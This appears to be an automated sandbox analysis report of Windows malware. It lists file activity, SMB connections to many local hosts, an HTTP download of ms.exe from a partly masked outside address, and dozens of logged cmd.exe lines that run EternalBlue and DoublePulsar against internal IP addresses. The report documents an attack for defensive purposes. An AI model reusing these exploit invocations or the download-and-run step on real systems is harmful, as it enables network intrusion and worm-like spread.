Technical Information
Malicious functions:
Creates and executes the following:
- '' (downloaded from the Internet)
Modifies file system:
Creates the following files:
- %WINDIR%\ms.exe
Deletes the following files:
- %WINDIR%\ms.exe
Network activity:
Connects to:
- '<LOCALNET>.3.33':445
- '<LOCALNET>.3.51':445
- '<LOCALNET>.3.52':445
- '<LOCALNET>.2.199':445
- '<LOCALNET>.3.19':445
- '<LOCALNET>.3.32':445
- '<LOCALNET>.3.199':445
- '<LOCALNET>.3.200':445
- '<LOCALNET>.3.206':445
- '<LOCALNET>.3.188':445
- '<LOCALNET>.3.189':445
- '<LOCALNET>.3.197':445
- '<LOCALNET>.1.158':445
- '<LOCALNET>.1.159':445
- '<LOCALNET>.1.161':445
- '<LOCALNET>.1.91':445
- '<LOCALNET>.1.92':445
- '<LOCALNET>.1.93':445
- '<LOCALNET>.1.246':445
- '<LOCALNET>.2.69':445
- '<LOCALNET>.2.133':445
- '<LOCALNET>.1.162':445
- '<LOCALNET>.1.163':445
- '<LOCALNET>.1.164':445
- '<LOCALNET>.3.209':445
- '<LOCALNET>.5.15':445
- '<LOCALNET>.5.16':445
- '<LOCALNET>.5.116':445
- '<LOCALNET>.4.244':445
- '<LOCALNET>.4.245':445
- '<LOCALNET>.5.14':445
- '<LOCALNET>.5.121':445
- '<LOCALNET>.5.119':445
- '<LOCALNET>.6.43':445
- '<LOCALNET>.5.117':445
- '<LOCALNET>.5.118':445
- '<LOCALNET>.5.120':445
- '<LOCALNET>.3.213':445
- '<LOCALNET>.3.214':445
- '<LOCALNET>.3.215':445
- '<LOCALNET>.3.210':445
- '<LOCALNET>.3.211':445
- '<LOCALNET>.3.212':445
- '<LOCALNET>.4.241':445
- '<LOCALNET>.4.242':445
- '<LOCALNET>.4.243':445
- '<LOCALNET>.3.216':445
- '<LOCALNET>.4.239':445
- '<LOCALNET>.4.240':445
- '<LOCALNET>.1.90':445
- '<LOCALNET>.1.24':445
- '<LOCALNET>.1.25':445
- '<LOCALNET>.1.27':445
- '<LOCALNET>.1.21':445
- '<LOCALNET>.1.22':445
- '<LOCALNET>.1.23':445
- '<LOCALNET>.1.32':445
- '<LOCALNET>.1.34':445
- '<LOCALNET>.1.35':445
- '<LOCALNET>.1.29':445
- '<LOCALNET>.1.30':445
- '<LOCALNET>.1.31':445
- '<LOCALNET>.1.2':445
- '<LOCALNET>.1.4':445
- '<LOCALNET>.1.6':445
- 'localhost':1036
- '61.##0.3.151':80
- '<LOCALNET>.1.1':445
- '<LOCALNET>.1.18':445
- '<LOCALNET>.1.19':445
- '<LOCALNET>.1.20':445
- '<LOCALNET>.1.7':445
- '<LOCALNET>.1.16':445
- '<LOCALNET>.1.17':445
- '<LOCALNET>.1.36':445
- '<LOCALNET>.1.79':445
- '<LOCALNET>.1.81':445
- '<LOCALNET>.1.83':445
- '<LOCALNET>.1.75':445
- '<LOCALNET>.1.76':445
- '<LOCALNET>.1.77':445
- '<LOCALNET>.1.87':445
- '<LOCALNET>.1.88':445
- '<LOCALNET>.1.89':445
- '<LOCALNET>.1.84':445
- '<LOCALNET>.1.85':445
- '<LOCALNET>.1.86':445
- '<LOCALNET>.1.40':445
- '<LOCALNET>.1.42':445
- '<LOCALNET>.1.43':445
- '<LOCALNET>.1.37':445
- '<LOCALNET>.1.38':445
- '<LOCALNET>.1.39':445
- '<LOCALNET>.1.70':445
- '<LOCALNET>.1.71':445
- '<LOCALNET>.1.73':445
- '<LOCALNET>.1.47':445
- '<LOCALNET>.1.66':445
- '<LOCALNET>.1.69':445
TCP:
HTTP GET requests:
- http://61.##0.3.151/data/ms.exe
Miscellaneous:
Creates and executes the following:
- '%WINDIR%\ms.exe'
Executes the following:
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.166 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.164 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.165 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.167 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.163 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.40 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.170 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.160 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.38 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.43 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.51 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.91 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.84 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.90 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.69 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.37 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.162 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.77 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.168 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.34 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.212 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.2.200 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.35 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.211 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.51 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.201 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.209 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.54 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.3.21 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.2.69 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.248 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.159 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.49 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.247 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.2.135 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.161 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.2.71 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.169 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architectur...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.42 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.24 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.89 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.36 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.34 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.85 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.2 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture ...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.75 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.93 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.83 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.19 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.70 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.20 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.27 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.22 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.1 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture ...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.81 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.7 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture ...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.23 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.18 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.86 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.82 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.21 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.88 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.25 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.87 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.39 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.67 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.92 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.29 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.79 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.31 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.73 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.4 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture ...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.66 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.33 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.76 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
- '<SYSTEM32>\cmd.exe' /c cd /D C:\Users\Alluse~1\ & Eternalblue-2.2.0.exe --Target WIN72K8R2 --NetworkTimeout 10 --TargetIp 10.0.1.50 & Doublepulsar-1.3.1 --OutConfig a --TargetPort 445 --Protocol SMB --Architecture...
